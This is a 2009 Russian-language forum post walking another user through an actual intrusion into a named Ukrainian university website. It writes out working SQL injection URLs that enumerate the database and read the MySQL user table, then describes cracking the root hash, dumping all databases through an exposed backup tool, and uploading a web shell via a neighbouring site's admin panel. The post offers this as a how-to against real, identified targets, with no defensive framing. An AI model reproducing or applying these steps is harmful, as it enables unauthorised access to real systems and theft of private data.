Показать сообщение отдельно

  #3  
Старый 25.10.2009, 23:53
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию

univd.edu.ua
Этот пост посвящается человеку под ником Strilo4ka.
Меня просто удивила такая рьяная настойчивость в поиске, и такая безнадежная по его мнению ситуация, в более чем простом деле.

Цитата:
Сообщение от Strilo4ka  
а дальше вроде ниче сделать нельзя шел вроде залить нельзя или я че то не доганяю на _http://www.univd.edu.ua/
Есть SQL инъект, и первым делом смотрим версию БД MySQL, за это отвечает функция version().
Т.к. выводимые поля у нас 1, 2 и 3 значит выполняем запрос:
Код:
http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+version(),2,3,4,5+--+
На выводе мы получаем строку 5.0.67-log, а это значит, что в отличии от версий >= 4.x есть преимущество такое как БД information_schema и таблицы в ней tables и columns, по средствам которых можно получить полное представление о структуре БД. Самое, на мой взгляд, оптимальное решение, вывести структуры БД в виде таблица:колонка, это можно сделать обратившись к таблице columns и её колонкам table_name и column_name.
Запрос будет выглядеть следующем образом:
Код:
http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+--+
Но так как скрипт выводит всего лишь одну строку из БД, то мы получаем имя таблицы CHARACTER_SETS и имя колонки CHARACTER_SET_NAME. Для того, что бы нам посмотреть все имена существующих таблиц и колонок, нам необходимо воспользоваться оператор LIMIT. Синтаксис оператора выгладит следующим образом: LIMIT 10, 1; Данное выражение вернет одну строку, начиная с десятой. А значит используя этот оператор наш запрос будет выглядеть следующим образом:
Код:
http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+limit+200,1+--+
Т.е. мы вывели 200-ую строку таблицы columns, результат которой: wp_comments:comment_content
Проще говоря, нужно просто перебрать все записи таблицы columns с первой по последнюю, если не охота возится руками, есть специализированный софт, который делает это всё в автоматическом режиме.

Так же можно проверить права пользователя обратившись к БД mysql и таблице user. Чаще, доступ к этой таблице естественно закрыт, из-за безопасности пользователей. Но в нашем случае, это не так И мы смело можем посмотреть имя и пароль (в зашифрованном виде) пользователей БД MySQL. Пароль шифруется обычно алгоритмом либо mysql, либо mysql5. В нашем случае, пароль зашифрован именно алгоритмом mysql. Имя логин root (главного пользователя) и пароль (хеш которого мы подобрали на онлайн сервисе hashcracking.info), мы можешь уже что-нибудь сделать.
Попробуем найти непосредственно доступ к БД, через PhpMyAdmin, т.к. чаще всего (чаще всегда ) используется именно она. Попробуем просканировать сайт, на открытые директории через онлайн сервис security-digger.org.
Досадно но PhpMyAdmin сервис нам так и не показал.
В отчаянии, я посмотрел robots.txt, и к удивлению увидел Disallow: /dumper/, в которой дивным образом располагается Sypex Dumper Lite 1.0.8. Эта утилита для легкого и удобного бэкапа БД. Недолго думая вводим уже известный нам пароль пользователя root. Теперь мы имеем возможность сделать и скачать бэкап любой БД на этом сервере. Смотрим, что у нас есть:
Код:
information_schema
banner
deal
dlinux
dpforum
ecom
forum
foto
helur_danneo
human
hybrid
l2jdb
linux
linuxkhua
mysql
shop
site
swinger
test
tz
univd
wolf
Не найдя ничего интересного в базе univd и тем более не зная названия директории администраторской панели, я, немного подумав начинаю просматривать содержимое других БД.
И почему-то приглянулась мне почему-то база linuxkhua, а именно приглянулась своим оканчанием ua, т.е. понятно, что это национальный украинский домен Не долго подумав, вбиваю в гугле linuxkhua, и как результат получаю это:
Код:
Свободное ПО для свободных людей @ linux.kh.ua - Каталог сайтов ...
Опечатки: Ѻ Зз Ð , linuxkhua. SEO: Яндекс ТИЦ: 9100, Google PR: 0. Анализ сайта: Alexa traffic Старницы сайта linux.kh.ua в индексе Google.com ...
www.spravka.co.ua/10721-linux.kh.ua - Похожие
Ну и ясно стало, что сайт linux.kh.ua и база linuxkhua - это единое целое
Дальше, первым делом, смотрим robots.txt и узнаем название директории администраторской панели: linux.kh.ua/apanel/ Достаем из бэкапа что мы слили средствами Sypex Dumper, логин и пароль пользователя, заходим и видим вкладочку "Файл браузер" и жмем кнопочку "Залить шелл".
Заходим на шелл и попадаем на сервер, на котором хостится univd.edu.ua. Так как цель у нас была непосредственно только этот сайт, то прав на него нам хватает
/home/snake/univd/univd/ drwxrwxrwx

Если же нужны какие-то другие манипуляции, то и здесь все хорошо, т.к. ядро бажное:
Код:
uname -a: Linux web 2.6.15.6 #3 PREEMPT Thu May 25 16:08:10 EEST 2006 i686
Но к сожалению SSH порт закрыт

Но намеченная цель, достигнута. Уважаемый пользователь Strilo4ka, все действия указанные выше, не требуют никаких специфических знание, включаем логику и всё становится предельно ясным Успехов!

В этом посте я не указывал имена таблиц в которых лежат конфиденциальные данные, такие как логины и пароли, так же скрыл сами пароли. Но получить эти данные не составляют никаких проблем. Ссылки на шелл и сбрученные пароли, не высылаю. Все предельно просто.
 
Ответить с цитированием